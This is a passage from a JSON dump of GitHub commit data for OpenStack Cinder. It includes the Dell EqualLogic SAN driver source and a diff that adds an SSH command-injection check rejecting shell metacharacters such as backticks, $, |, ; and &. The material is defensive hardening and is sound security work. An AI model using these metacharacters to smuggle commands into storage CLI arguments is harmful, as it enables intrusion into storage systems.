in self._eql_execute('pool', 'select', self.configuration.eqlx_pool, 'show'): if line.startswith('TotalCapacity:'): out_tup=line.rstrip().partition(' ') data['total_capacity_gb']=self._get_space_in_gb(out_tup[-1]) if line.startswith('FreeSpace:'): out_tup=line.rstrip().partition(' ') data['free_capacity_gb']=self._get_space_in_gb(out_tup[-1]) self._stats=data def _check_volume(self, volume): \"\"\"Check if the volume exists on the Array.\"\"\" command=['volume', 'select', volume['name'], 'show'] try: self._eql_execute(*command) except processutils.ProcessExecutionError as err: with excutils.save_and_reraise_exception(): if err.stdout.find('does not exist.\\n') > -1: LOG.debug(_('Volume %s does not exist, ' 'it may have already been deleted'), volume['name']) raise exception.VolumeNotFound(volume_id=volume['id']) def do_setup(self, context): \"\"\"Disable cli confirmation and tune output format.\"\"\" try: disabled_cli_features=('confirmation', 'paging', 'events', 'formatoutput') for feature in disabled_cli_features: self._eql_execute('cli-settings', feature, 'off') for line in self._eql_execute('grpparams', 'show'): if line.startswith('Group-Ipaddress:'): out_tup=line.rstrip().partition(' ') self._group_ip=out_tup[-1] LOG.info(_(\"EQL-driver: Setup is complete, group IP is %s\"), self._group_ip) except Exception: with excutils.save_and_reraise_exception(): LOG.error(_('Failed to setup the Dell EqualLogic driver')) def create_volume(self, volume): \"\"\"Create a volume.\"\"\" try: cmd=['volume', 'create', volume['name'], \"%sG\" %(volume['size'])] if self.configuration.eqlx_pool !='default': cmd.append('pool') cmd.append(self.configuration.eqlx_pool) if self.configuration.san_thin_provision: cmd.append('thin-provision') out=self._eql_execute(*cmd) return self._get_volume_data(out) except Exception: with excutils.save_and_reraise_exception(): LOG.error(_('Failed to create volume %s'), volume['name']) def delete_volume(self, volume): \"\"\"Delete a volume.\"\"\" try: self._check_volume(volume) self._eql_execute('volume', 'select', volume['name'], 'offline') self._eql_execute('volume', 'delete', volume['name']) except exception.VolumeNotFound: LOG.warn(_('Volume %s was not found while trying to delete it'), volume['name']) except Exception: with excutils.save_and_reraise_exception(): LOG.error(_('Failed to delete volume %s'), volume['name']) def create_snapshot(self, snapshot): \"\"\"\"Create snapshot of existing volume on appliance.\"\"\" try: out=self._eql_execute('volume', 'select', snapshot['volume_name'], 'snapshot', 'create-now') prefix='Snapshot name is ' snap_name=self._get_prefixed_value(out, prefix) self._eql_execute('volume', 'select', snapshot['volume_name'], 'snapshot', 'rename', snap_name, snapshot['name']) except Exception: with excutils.save_and_reraise_exception(): LOG.error(_('Failed to create snapshot of volume %s'), snapshot['volume_name']) def create_volume_from_snapshot(self, volume, snapshot): \"\"\"Create new volume from other volume's snapshot on appliance.\"\"\" try: out=self._eql_execute('volume', 'select', snapshot['volume_name'], 'snapshot', 'select', snapshot['name'], 'clone', volume['name']) return self._get_volume_data(out) except Exception: with excutils.save_and_reraise_exception(): LOG.error(_('Failed to create volume from snapshot %s'), snapshot['name']) def create_cloned_volume(self, volume, src_vref): \"\"\"Creates a clone of the specified volume.\"\"\" try: src_volume_name=self.configuration.\\ volume_name_template % src_vref['id'] out=self._eql_execute('volume', 'select', src_volume_name, 'clone', volume['name']) return self._get_volume_data(out) except Exception: with excutils.save_and_reraise_exception(): LOG.error(_('Failed to create clone of volume %s'), volume['name']) def delete_snapshot(self, snapshot): \"\"\"Delete volume's snapshot.\"\"\" try: self._eql_execute('volume', 'select', snapshot['volume_name'], 'snapshot', 'delete', snapshot['name']) except Exception: with excutils.save_and_reraise_exception(): LOG.error(_('Failed to delete snapshot %(snap)s of ' 'volume %(vol)s'), {'snap': snapshot['name'], 'vol': snapshot['volume_name']}) def initialize_connection(self, volume, connector): \"\"\"Restrict access to a volume.\"\"\" try: cmd=['volume', 'select', volume['name'], 'access', 'create', 'initiator', connector['initiator']] if self.configuration.eqlx_use_chap: cmd.extend(['authmethod chap', 'username', self.configuration.eqlx_chap_login]) self._eql_execute(*cmd) iscsi_properties=self._get_iscsi_properties(volume) return{ 'driver_volume_type': 'iscsi', 'data': iscsi_properties } except Exception: with excutils.save_and_reraise_exception(): LOG.error(_('Failed to initialize connection to volume %s'), volume['name']) def terminate_connection(self, volume, connector, force=False, **kwargs): \"\"\"Remove access restrictions from a volume.\"\"\" try: self._eql_execute('volume', 'select', volume['name'], 'access', 'delete', '1') except Exception: with excutils.save_and_reraise_exception(): LOG.error(_('Failed to terminate connection to volume %s'), volume['name']) def create_export(self, context, volume): \"\"\"Create an export of a volume. Driver has nothing to do here for the volume has been exported already by the SAN, right after it's creation. \"\"\" pass def ensure_export(self, context, volume): \"\"\"Ensure an export of a volume. Driver has nothing to do here for the volume has been exported already by the SAN, right after it's creation. We will just make sure that the volume exists on the array and issue a warning. \"\"\" try: self._check_volume(volume) except exception.VolumeNotFound: LOG.warn(_('Volume %s is not found!, it may have been deleted'), volume['name']) except Exception: with excutils.save_and_reraise_exception(): LOG.error(_('Failed to ensure export of volume %s'), volume['name']) def remove_export(self, context, volume): \"\"\"Remove an export of a volume. Driver has nothing to do here for the volume has been exported already by the SAN, right after it's creation. Nothing to remove since there's nothing exported. \"\"\" pass def extend_volume(self, volume, new_size): \"\"\"Extend the size of the volume.\"\"\" try: self._eql_execute('volume', 'select', volume['name'], 'size', \"%sG\" % new_size) except Exception: with excutils.save_and_reraise_exception(): LOG.error(_('Failed to extend_volume %(name)s from ' '%(current_size)sGB to %(new_size)sGB'), {'name': volume['name'], 'current_size': volume['size'], 'new_size': new_size}) def local_path(self, volume): raise NotImplementedError() ", "sourceWithComments": "# Copyright (c) 2013 Dell Inc.\n# Copyright 2013 OpenStack LLC\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\"); you may\n# not use this file except in compliance with the License. You may obtain\n# a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS, WITHOUT\n# WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the\n# License for the specific language governing permissions and limitations\n# under the License.\n\n\"\"\"Volume driver for Dell EqualLogic Storage.\"\"\"\n\nimport functools\nimport random\n\nimport eventlet\nfrom eventlet import greenthread\nimport greenlet\nfrom oslo.config import cfg\n\nfrom cinder import exception\nfrom cinder.openstack.common import excutils\nfrom cinder.openstack.common import log as logging\nfrom cinder.openstack.common import processutils\nfrom cinder import utils\nfrom cinder.volume.drivers.san import SanISCSIDriver\n\nLOG = logging.getLogger(__name__)\n\neqlx_opts = [\n cfg.StrOpt('eqlx_group_name',\n default='group-0',\n help='Group name to use for creating volumes'),\n cfg.IntOpt('eqlx_cli_timeout',\n default=30,\n help='Timeout for the Group Manager cli command execution'),\n cfg.IntOpt('eqlx_cli_max_retries',\n default=5,\n help='Maximum retry count for reconnection'),\n cfg.BoolOpt('eqlx_use_chap',\n default=False,\n help='Use CHAP authentication for targets?'),\n cfg.StrOpt('eqlx_chap_login',\n default='admin',\n help='Existing CHAP account name'),\n cfg.StrOpt('eqlx_chap_password',\n default='password',\n help='Password for specified CHAP account name',\n secret=True),\n cfg.StrOpt('eqlx_pool',\n default='default',\n help='Pool in which volumes will be created')\n]\n\n\nCONF = cfg.CONF\nCONF.register_opts(eqlx_opts)\n\n\ndef with_timeout(f):\n @functools.wraps(f)\n def __inner(self, *args, **kwargs):\n timeout = kwargs.pop('timeout', None)\n gt = eventlet.spawn(f, self, *args, **kwargs)\n if timeout is None:\n return gt.wait()\n else:\n kill_thread = eventlet.spawn_after(timeout, gt.kill)\n try:\n res = gt.wait()\n except greenlet.GreenletExit:\n raise exception.VolumeBackendAPIException(\n data=\"Command timed out\")\n else:\n kill_thread.cancel()\n return res\n\n return __inner\n\n\nclass DellEQLSanISCSIDriver(SanISCSIDriver):\n \"\"\"Implements commands for Dell EqualLogic SAN ISCSI management.\n\n To enable the driver add the following line to the cinder configuration:\n volume_driver=cinder.volume.drivers.eqlx.DellEQLSanISCSIDriver\n\n Driver's prerequisites are:\n - a separate volume group set up and running on the SAN\n - SSH access to the SAN\n - a special user must be created which must be able to\n - create/delete volumes and snapshots;\n - clone snapshots into volumes;\n - modify volume access records;\n\n The access credentials to the SAN are provided by means of the following\n flags\n san_ip=\n san_login=\n san_password=\n san_private_key=\n\n Thin provision of volumes is enabled by default, to disable it use:\n san_thin_provision=false\n\n In order to use target CHAP authentication (which is disabled by default)\n SAN administrator must create a local CHAP user and specify the following\n flags for the driver:\n eqlx_use_chap=true\n eqlx_chap_login=\n eqlx_chap_password=\n\n eqlx_group_name parameter actually represents the CLI prompt message\n without '>' ending. E.g. if prompt looks like 'group-0>', then the\n parameter must be set to 'group-0'\n\n Also, the default CLI command execution timeout is 30 secs. Adjustable by\n eqlx_cli_timeout=\n \"\"\"\n\n VERSION = \"1.0.0\"\n\n def __init__(self, *args, **kwargs):\n super(DellEQLSanISCSIDriver, self).__init__(*args, **kwargs)\n self.configuration.append_config_values(eqlx_opts)\n self._group_ip = None\n self.sshpool = None\n\n def _get_output(self, chan):\n out = ''\n ending = '%s> ' % self.configuration.eqlx_group_name\n while not out.endswith(ending):\n out += chan.recv(102400)\n\n LOG.debug(_(\"CLI output\\n%s\"), out)\n return out.splitlines()\n\n def _get_prefixed_value(self, lines, prefix):\n for line in lines:\n if line.startswith(prefix):\n return line[len(prefix):]\n return\n\n @with_timeout\n def _ssh_execute(self, ssh, command, *arg, **kwargs):\n transport = ssh.get_transport()\n chan = transport.open_session()\n chan.invoke_shell()\n\n LOG.debug(_(\"Reading CLI MOTD\"))\n self._get_output(chan)\n\n cmd = 'stty columns 255'\n LOG.debug(_(\"Setting CLI terminal width: '%s'\"), cmd)\n chan.send(cmd + '\\r')\n out = self._get_output(chan)\n\n LOG.debug(_(\"Sending CLI command: '%s'\"), command)\n chan.send(command + '\\r')\n out = self._get_output(chan)\n\n chan.close()\n\n if any(line.startswith(('% Error', 'Error:')) for line in out):\n desc = _(\"Error executing EQL command\")\n cmdout = '\\n'.join(out)\n LOG.error(cmdout)\n raise processutils.ProcessExecutionError(\n stdout=cmdout, cmd=command, description=desc)\n return out\n\n def _run_ssh(self, cmd_list, attempts=1):\n utils.check_ssh_injection(cmd_list)\n command = ' '. join(cmd_list)\n\n if not self.sshpool:\n password = self.configuration.san_password\n privatekey = self.configuration.san_private_key\n min_size = self.configuration.ssh_min_pool_conn\n max_size = self.configuration.ssh_max_pool_conn\n self.sshpool = utils.SSHPool(self.configuration.san_ip,\n self.configuration.san_ssh_port,\n self.configuration.ssh_conn_timeout,\n self.configuration.san_login,\n password=password,\n privatekey=privatekey,\n min_size=min_size,\n max_size=max_size)\n try:\n total_attempts = attempts\n with self.sshpool.item() as ssh:\n while attempts > 0:\n attempts -= 1\n try:\n LOG.info(_('EQL-driver: executing \"%s\"') % command)\n return self._ssh_execute(\n ssh, command,\n timeout=self.configuration.eqlx_cli_timeout)\n except processutils.ProcessExecutionError:\n raise\n except Exception as e:\n LOG.exception(e)\n greenthread.sleep(random.randint(20, 500) / 100.0)\n msg = (_(\"SSH Command failed after '%(total_attempts)r' \"\n \"attempts : '%(command)s'\") %\n {'total_attempts': total_attempts, 'command': command})\n raise exception.VolumeBackendAPIException(data=msg)\n\n except Exception:\n with excutils.save_and_reraise_exception():\n LOG.error(_(\"Error running SSH command: %s\") % command)\n\n def _eql_execute(self, *args, **kwargs):\n return self._run_ssh(\n args, attempts=self.configuration.eqlx_cli_max_retries)\n\n def _get_volume_data(self, lines):\n prefix = 'iSCSI target name is '\n target_name = self._get_prefixed_value(lines, prefix)[:-1]\n lun_id = \"%s:%s,1 %s 0\" % (self._group_ip, '3260', target_name)\n model_update = {}\n model_update['provider_location'] = lun_id\n if self.configuration.eqlx_use_chap:\n model_update['provider_auth'] = 'CHAP %s %s' % \\\n (self.configuration.eqlx_chap_login,\n self.configuration.eqlx_chap_password)\n return model_update\n\n def _get_space_in_gb(self, val):\n scale = 1.0\n part = 'GB'\n if val.endswith('MB'):\n scale = 1.0 / 1024\n part = 'MB'\n elif val.endswith('TB'):\n scale = 1.0 * 1024\n part = 'TB'\n return scale * float(val.partition(part)[0])\n\n def _update_volume_stats(self):\n \"\"\"Retrieve stats info from eqlx group.\"\"\"\n\n LOG.debug(_(\"Updating volume stats\"))\n data = {}\n backend_name = \"eqlx\"\n if self.configuration:\n backend_name = self.configuration.safe_get('volume_backend_name')\n data[\"volume_backend_name\"] = backend_name or 'eqlx'\n data[\"vendor_name\"] = 'Dell'\n data[\"driver_version\"] = self.VERSION\n data[\"storage_protocol\"] = 'iSCSI'\n\n data['reserved_percentage'] = 0\n data['QoS_support'] = False\n\n data['total_capacity_gb'] = 'infinite'\n data['free_capacity_gb'] = 'infinite'\n\n for line in self._eql_execute('pool', 'select',\n self.configuration.eqlx_pool, 'show'):\n if line.startswith('TotalCapacity:'):\n out_tup = line.rstrip().partition(' ')\n data['total_capacity_gb'] = self._get_space_in_gb(out_tup[-1])\n if line.startswith('FreeSpace:'):\n out_tup = line.rstrip().partition(' ')\n data['free_capacity_gb'] = self._get_space_in_gb(out_tup[-1])\n\n self._stats = data\n\n def _check_volume(self, volume):\n \"\"\"Check if the volume exists on the Array.\"\"\"\n command = ['volume', 'select', volume['name'], 'show']\n try:\n self._eql_execute(*command)\n except processutils.ProcessExecutionError as err:\n with excutils.save_and_reraise_exception():\n if err.stdout.find('does not exist.\\n') > -1:\n LOG.debug(_('Volume %s does not exist, '\n 'it may have already been deleted'),\n volume['name'])\n raise exception.VolumeNotFound(volume_id=volume['id'])\n\n def do_setup(self, context):\n \"\"\"Disable cli confirmation and tune output format.\"\"\"\n try:\n disabled_cli_features = ('confirmation', 'paging', 'events',\n 'formatoutput')\n for feature in disabled_cli_features:\n self._eql_execute('cli-settings', feature, 'off')\n\n for line in self._eql_execute('grpparams', 'show'):\n if line.startswith('Group-Ipaddress:'):\n out_tup = line.rstrip().partition(' ')\n self._group_ip = out_tup[-1]\n\n LOG.info(_(\"EQL-driver: Setup is complete, group IP is %s\"),\n self._group_ip)\n except Exception:\n with excutils.save_and_reraise_exception():\n LOG.error(_('Failed to setup the Dell EqualLogic driver'))\n\n def create_volume(self, volume):\n \"\"\"Create a volume.\"\"\"\n try:\n cmd = ['volume', 'create',\n volume['name'], \"%sG\" % (volume['size'])]\n if self.configuration.eqlx_pool != 'default':\n cmd.append('pool')\n cmd.append(self.configuration.eqlx_pool)\n if self.configuration.san_thin_provision:\n cmd.append('thin-provision')\n out = self._eql_execute(*cmd)\n return self._get_volume_data(out)\n except Exception:\n with excutils.save_and_reraise_exception():\n LOG.error(_('Failed to create volume %s'), volume['name'])\n\n def delete_volume(self, volume):\n \"\"\"Delete a volume.\"\"\"\n try:\n self._check_volume(volume)\n self._eql_execute('volume', 'select', volume['name'], 'offline')\n self._eql_execute('volume', 'delete', volume['name'])\n except exception.VolumeNotFound:\n LOG.warn(_('Volume %s was not found while trying to delete it'),\n volume['name'])\n except Exception:\n with excutils.save_and_reraise_exception():\n LOG.error(_('Failed to delete volume %s'), volume['name'])\n\n def create_snapshot(self, snapshot):\n \"\"\"\"Create snapshot of existing volume on appliance.\"\"\"\n try:\n out = self._eql_execute('volume', 'select',\n snapshot['volume_name'],\n 'snapshot', 'create-now')\n prefix = 'Snapshot name is '\n snap_name = self._get_prefixed_value(out, prefix)\n self._eql_execute('volume', 'select', snapshot['volume_name'],\n 'snapshot', 'rename', snap_name,\n snapshot['name'])\n except Exception:\n with excutils.save_and_reraise_exception():\n LOG.error(_('Failed to create snapshot of volume %s'),\n snapshot['volume_name'])\n\n def create_volume_from_snapshot(self, volume, snapshot):\n \"\"\"Create new volume from other volume's snapshot on appliance.\"\"\"\n try:\n out = self._eql_execute('volume', 'select',\n snapshot['volume_name'], 'snapshot',\n 'select', snapshot['name'],\n 'clone', volume['name'])\n return self._get_volume_data(out)\n except Exception:\n with excutils.save_and_reraise_exception():\n LOG.error(_('Failed to create volume from snapshot %s'),\n snapshot['name'])\n\n def create_cloned_volume(self, volume, src_vref):\n \"\"\"Creates a clone of the specified volume.\"\"\"\n try:\n src_volume_name = self.configuration.\\\n volume_name_template % src_vref['id']\n out = self._eql_execute('volume', 'select', src_volume_name,\n 'clone', volume['name'])\n return self._get_volume_data(out)\n except Exception:\n with excutils.save_and_reraise_exception():\n LOG.error(_('Failed to create clone of volume %s'),\n volume['name'])\n\n def delete_snapshot(self, snapshot):\n \"\"\"Delete volume's snapshot.\"\"\"\n try:\n self._eql_execute('volume', 'select', snapshot['volume_name'],\n 'snapshot', 'delete', snapshot['name'])\n except Exception:\n with excutils.save_and_reraise_exception():\n LOG.error(_('Failed to delete snapshot %(snap)s of '\n 'volume %(vol)s'),\n {'snap': snapshot['name'],\n 'vol': snapshot['volume_name']})\n\n def initialize_connection(self, volume, connector):\n \"\"\"Restrict access to a volume.\"\"\"\n try:\n cmd = ['volume', 'select', volume['name'], 'access', 'create',\n 'initiator', connector['initiator']]\n if self.configuration.eqlx_use_chap:\n cmd.extend(['authmethod chap', 'username',\n self.configuration.eqlx_chap_login])\n self._eql_execute(*cmd)\n iscsi_properties = self._get_iscsi_properties(volume)\n return {\n 'driver_volume_type': 'iscsi',\n 'data': iscsi_properties\n }\n except Exception:\n with excutils.save_and_reraise_exception():\n LOG.error(_('Failed to initialize connection to volume %s'),\n volume['name'])\n\n def terminate_connection(self, volume, connector, force=False, **kwargs):\n \"\"\"Remove access restrictions from a volume.\"\"\"\n try:\n self._eql_execute('volume', 'select', volume['name'],\n 'access', 'delete', '1')\n except Exception:\n with excutils.save_and_reraise_exception():\n LOG.error(_('Failed to terminate connection to volume %s'),\n volume['name'])\n\n def create_export(self, context, volume):\n \"\"\"Create an export of a volume.\n\n Driver has nothing to do here for the volume has been exported\n already by the SAN, right after it's creation.\n \"\"\"\n pass\n\n def ensure_export(self, context, volume):\n \"\"\"Ensure an export of a volume.\n\n Driver has nothing to do here for the volume has been exported\n already by the SAN, right after it's creation. We will just make\n sure that the volume exists on the array and issue a warning.\n \"\"\"\n try:\n self._check_volume(volume)\n except exception.VolumeNotFound:\n LOG.warn(_('Volume %s is not found!, it may have been deleted'),\n volume['name'])\n except Exception:\n with excutils.save_and_reraise_exception():\n LOG.error(_('Failed to ensure export of volume %s'),\n volume['name'])\n\n def remove_export(self, context, volume):\n \"\"\"Remove an export of a volume.\n\n Driver has nothing to do here for the volume has been exported\n already by the SAN, right after it's creation.\n Nothing to remove since there's nothing exported.\n \"\"\"\n pass\n\n def extend_volume(self, volume, new_size):\n \"\"\"Extend the size of the volume.\"\"\"\n try:\n self._eql_execute('volume', 'select', volume['name'],\n 'size', \"%sG\" % new_size)\n except Exception:\n with excutils.save_and_reraise_exception():\n LOG.error(_('Failed to extend_volume %(name)s from '\n '%(current_size)sGB to %(new_size)sGB'),\n {'name': volume['name'],\n 'current_size': volume['size'],\n 'new_size': new_size})\n\n def local_path(self, volume):\n raise NotImplementedError()\n"}}, "msg": "Fixes ssh-injection error while using chap authentication\n\nA space in the command construction was being caught by the\nssh-injection check. The fix is to separate the command strings.\n\nChange-Id: If1f719f9c2ceff31ed5386c53cf60bc7f522f4d7\nCloses-Bug: #1280409"}}, "https://github.com/tlakshman26/cinder-https-changes": {"f752302d181583a95cf44354aea607ce9d9283f4": {"url": "https://api.github.com/repos/tlakshman26/cinder-https-changes/commits/f752302d181583a95cf44354aea607ce9d9283f4", "html_url": "https://github.com/tlakshman26/cinder-https-changes/commit/f752302d181583a95cf44354aea607ce9d9283f4", "message": "Tidy up the SSH call to avoid injection attacks in storwize_svc\n\nLet the command and arguments form up a list and avoid the extra arguments\nattackers inserted to the command string\n\nfix bug 1192971\n\nChange-Id: I57b3fe60e64d9d0dc1ea9a18442c877be2ceece3", "sha": "f752302d181583a95cf44354aea607ce9d9283f4", "keyword": "command injection attack", "diff": "diff --git a/cinder/exception.py b/cinder/exception.py\nindex 777ec1283..f23c6fbe6 100644\n--- a/cinder/exception.py\n+++ b/cinder/exception.py\n@@ -606,3 +606,7 @@ class VolumeMigrationFailed(CinderException):\n \n class ProtocolNotSupported(CinderException):\n message = _(\"Connect to volume via protocol %(protocol)s not supported.\")\n+\n+\n+class SSHInjectionThreat(CinderException):\n+ message = _(\"SSH command injection detected\") + \": %(command)s\"\ndiff --git a/cinder/tests/test_storwize_svc.py b/cinder/tests/test_storwize_svc.py\nindex 02b1b59b2..9c2eea8e8 100644\n--- a/cinder/tests/test_storwize_svc.py\n+++ b/cinder/tests/test_storwize_svc.py\n@@ -181,8 +181,7 @@ def _is_invalid_name(self, name):\n return True\n \n # Convert argument string to dictionary\n- def _cmd_to_dict(self, cmd):\n- arg_list = cmd.split()\n+ def _cmd_to_dict(self, arg_list):\n no_param_args = [\n 'autodelete',\n 'autoexpand',\n@@ -1156,7 +1155,6 @@ def execute_command(self, cmd, check_exit_code=True):\n \n command = kwargs['cmd']\n del kwargs['cmd']\n- arg_list = cmd.split()\n \n if command == 'lsmdiskgrp':\n out, err = self._cmd_lsmdiskgrp(**kwargs)\ndiff --git a/cinder/utils.py b/cinder/utils.py\nindex c263972d8..d26943837 100644\n--- a/cinder/utils.py\n+++ b/cinder/utils.py\n@@ -129,6 +129,30 @@ def trycmd(*args, **kwargs):\n return (stdout, stderr)\n \n \n+def check_ssh_injection(cmd_list):\n+ ssh_injection_pattern = ['`', '$', '|', '||', ';', '&', '&&', '>', '>>',\n+ '<']\n+\n+ # Check whether injection attacks exist\n+ for arg in cmd_list:\n+ arg = arg.strip()\n+ # First, check no space in the middle of arg\n+ arg_len = len(arg.split())\n+ if arg_len > 1:\n+ raise exception.SSHInjectionThreat(command=str(cmd_list))\n+\n+ # Second, check whether danger character in command. So the shell\n+ # special operator must be a single argument.\n+ for c in ssh_injection_pattern:\n+ if arg == c:\n+ continue\n+\n+ result = arg.find(c)\n+ if not result == -1:\n+ if result == 0 or not arg[result - 1] == '\\\\':\n+ raise exception.SSHInjectionThreat(command=cmd_list)\n+\n+\n def ssh_execute(ssh, cmd, process_input=None,\n addl_env=None, check_exit_code=True):\n LOG.debug(_('Running cmd (SSH): %s'), cmd)\ndiff --git a/cinder/volume/drivers/san/san.py b/cinder/volume/drivers/san/san.py\nindex ad532810e..bdf7767ed 100644\n--- a/cinder/volume/drivers/san/san.py\n+++ b/cinder/volume/drivers/san/san.py\n@@ -100,7 +100,10 @@ def san_execute(self, *cmd, **kwargs):\n command = ' '.join(cmd)\n return self._run_ssh(command, check_exit_code)\n \n- def _run_ssh(self, command, check_exit_code=True, attempts=1):\n+ def _run_ssh(self, cmd_list, check_exit_code=True, attempts=1):\n+ utils.check_ssh_injection(cmd_list)\n+ command = ' '. join(cmd_list)\n+\n if not self.sshpool:\n password = self.configuration.san_password\n privatekey = self.configuration.san_private_key\ndiff --git a/cinder/volume/drivers/storwize_svc.py b/cinder/volume/drivers/storwize_svc.py\nindex 85ad8fbec..4e22aa652 100755\n--- a/cinder/volume/drivers/storwize_svc.py\n+++ b/cinder/volume/drivers/storwize_svc.py\n@@ -141,7 +141,7 @@ def __init__(self, *args, **kwargs):\n for char in invalid_ch_in_host)\n \n def _get_iscsi_ip_addrs(self):\n- generator = self._port_conf_generator('svcinfo lsportip')\n+ generator = self._port_conf_generator(['svcinfo', 'lsportip'])\n header = next(generator, None)\n if not header:\n return\n@@ -166,7 +166,7 @@ def _get_iscsi_ip_addrs(self):\n def _get_fc_wwpns(self):\n for key in self._storage_nodes:\n node = self._storage_nodes[key]\n- ssh_cmd = 'svcinfo lsnode -delim ! %s' % node['id']\n+ ssh_cmd = ['svcinfo', 'lsnode', '-delim', '!', node['id']]\n raw = self._run_ssh(ssh_cmd)\n resp = CLIResponse(raw, delim='!', with_header=False)\n wwpns = set(node['WWPN'])\n@@ -184,7 +184,7 @@ def do_setup(self, ctxt):\n self._context = ctxt\n \n # Validate that the pool exists\n- ssh_cmd = 'svcinfo lsmdiskgrp -delim ! -nohdr'\n+ ssh_cmd = ['svcinfo', 'lsmdiskgrp', '-delim', '!', '-nohdr']\n out, err = self._run_ssh(ssh_cmd)\n self._assert_ssh_return(len(out.strip()), 'do_setup',\n ssh_cmd, out, err)\n@@ -197,7 +197,7 @@ def do_setup(self, ctxt):\n # Check if compression is supported\n self._compression_enabled = False\n try:\n- ssh_cmd = 'svcinfo lslicense -delim !'\n+ ssh_cmd = ['svcinfo', 'lslicense', '-delim', '!']\n out, err = self._run_ssh(ssh_cmd)\n license_lines = out.strip().split('\\n')\n for license_line in license_lines:\n@@ -210,7 +210,7 @@ def do_setup(self, ctxt):\n LOG.exception(_('Failed to get license information.'))\n \n # Get the iSCSI and FC names of the Storwize/SVC nodes\n- ssh_cmd = 'svcinfo lsnode -delim !'\n+ ssh_cmd = ['svcinfo', 'lsnode', '-delim', '!']\n out, err = self._run_ssh(ssh_cmd)\n self._assert_ssh_return(len(out.strip()), 'do_setup',\n ssh_cmd, out, err)\n@@ -346,8 +346,7 @@ def _add_chapsecret_to_host(self, host_name):\n \"\"\"Generate and store a randomly-generated CHAP secret for the host.\"\"\"\n \n chap_secret = utils.generate_password()\n- ssh_cmd = ('svctask chhost -chapsecret \"%(chap_secret)s\" %(host_name)s'\n- % {'chap_secret': chap_secret, 'host_name': host_name})\n+ ssh_cmd = ['svctask', 'chhost', '-chapsecret', chap_secret, host_name]\n out, err = self._run_ssh(ssh_cmd)\n # No output should be returned from chhost\n self._assert_ssh_return(len(out.strip()) == 0,\n@@ -360,7 +359,7 @@ def _get_chap_secret_for_host(self, host_name):\n LOG.debug(_('enter: _get_chap_secret_for_host: host name %s')\n % host_name)\n \n- ssh_cmd = 'svcinfo lsiscsiauth -delim !'\n+ ssh_cmd = ['svcinfo', 'lsiscsiauth', '-delim', '!']\n out, err = self._run_ssh(ssh_cmd)\n \n if not len(out.strip()):\n@@ -426,7 +425,7 @@ def _connector_to_hostname_prefix(self, connector):\n \n def _find_host_from_wwpn(self, connector):\n for wwpn in connector['wwpns']:\n- ssh_cmd = 'svcinfo lsfabric -wwpn %s -delim !' % wwpn\n+ ssh_cmd = ['svcinfo', 'lsfabric', '-wwpn', wwpn, '-delim', '!']\n out, err = self._run_ssh(ssh_cmd)\n \n if not len(out.strip()):\n@@ -456,7 +455,7 @@ def _find_host_from_wwpn(self, connector):\n \n def _find_host_exhaustive(self, connector, hosts):\n for host in hosts:\n- ssh_cmd = 'svcinfo lshost -delim ! %s' % host\n+ ssh_cmd = ['svcinfo', 'lshost', '-delim', '!', host]\n out, err = self._run_ssh(ssh_cmd)\n self._assert_ssh_return(len(out.strip()),\n '_find_host_exhaustive',\n@@ -487,7 +486,7 @@ def _get_host_from_connector(self, connector):\n LOG.debug(_('enter: _get_host_from_connector: prefix %s') % prefix)\n \n # Get list of host in the storage\n- ssh_cmd = 'svcinfo lshost -delim !'\n+ ssh_cmd = ['svcinfo', 'lshost', '-delim', '!']\n out, err = self._run_ssh(ssh_cmd)\n \n if not len(out.strip()):\n@@ -541,15 +540,18 @@ def _create_host(self, connector):\n # When creating a host, we need one port\n self._driver_assert(len(ports), _('_create_host: No connector ports'))\n port1 = ports.pop(0)\n- ssh_cmd = ('svctask mkhost -force %(port1)s -name \"%(host_name)s\"' %\n- {'port1': port1, 'host_name': host_name})\n+ arg_name, arg_val = port1.split()\n+ ssh_cmd = ['svctask', 'mkhost', '-force', arg_name, arg_val, '-name',\n+ '\"%s\"' % host_name]\n out, err = self._run_ssh(ssh_cmd)\n self._assert_ssh_return('successfully created' in out,\n '_create_host', ssh_cmd, out, err)\n \n # Add any additional ports to the host\n for port in ports:\n- ssh_cmd = ('svctask addhostport -force %s %s' % (port, host_name))\n+ arg_name, arg_val = port.split()\n+ ssh_cmd = ['svctask', 'addhostport', '-force', arg_name, arg_val,\n+ host_name]\n out, err = self._run_ssh(ssh_cmd)\n \n LOG.debug(_('leave: _create_host: host %(host)s - %(host_name)s') %\n@@ -560,7 +562,7 @@ def _get_hostvdisk_mappings(self, host_name):\n \"\"\"Return the defined storage mappings for a host.\"\"\"\n \n return_data = {}\n- ssh_cmd = 'svcinfo lshostvdiskmap -delim ! %s' % host_name\n+ ssh_cmd = ['svcinfo', 'lshostvdiskmap', '-delim', '!', host_name]\n out, err = self._run_ssh(ssh_cmd)\n \n mappings = out.strip().split('\\n')\n@@ -600,11 +602,8 @@ def _map_vol_to_host(self, volume_name, host_name):\n \n # Volume is not mapped to host, create a new LUN\n if not mapped_flag:\n- ssh_cmd = ('svctask mkvdiskhostmap -host %(host_name)s -scsi '\n- '%(result_lun)s %(volume_name)s' %\n- {'host_name': host_name,\n- 'result_lun': result_lun,\n- 'volume_name': volume_name})\n+ ssh_cmd = ['svctask', 'mkvdiskhostmap', '-host', host_name,\n+ '-scsi', result_lun, volume_name]\n out, err = self._run_ssh(ssh_cmd, check_exit_code=False)\n if err and err.startswith('CMMVC6071E'):\n if not self.configuration.storwize_svc_multihostmap_enabled:\n@@ -614,8 +613,11 @@ def _map_vol_to_host(self, volume_name, host_name):\n 'was not created because the VDisk is '\\\n 'already mapped to a host.\\n\"'\n raise exception.CinderException(data=exception_msg)\n- ssh_cmd = ssh_cmd.replace('mkvdiskhostmap',\n- 'mkvdiskhostmap -force')\n+\n+ for i in range(len(ssh_cmd)):\n+ if ssh_cmd[i] == 'mkvdiskhostmap':\n+ ssh_cmd.insert(i + 1, '-force')\n+\n # try to map one volume to multiple hosts\n out, err = self._run_ssh(ssh_cmd)\n LOG.warn(_('volume %s mapping to multi host') % volume_name)\n@@ -636,7 +638,7 @@ def _delete_host(self, host_name):\n \n LOG.debug(_('enter: _delete_host: host %s ') % host_name)\n \n- ssh_cmd = 'svctask rmhost %s ' % host_name\n+ ssh_cmd = ['svctask', 'rmhost', host_name]\n out, err = self._run_ssh(ssh_cmd)\n # No output should be returned from rmhost\n self._assert_ssh_return(len(out.strip()) == 0,\n@@ 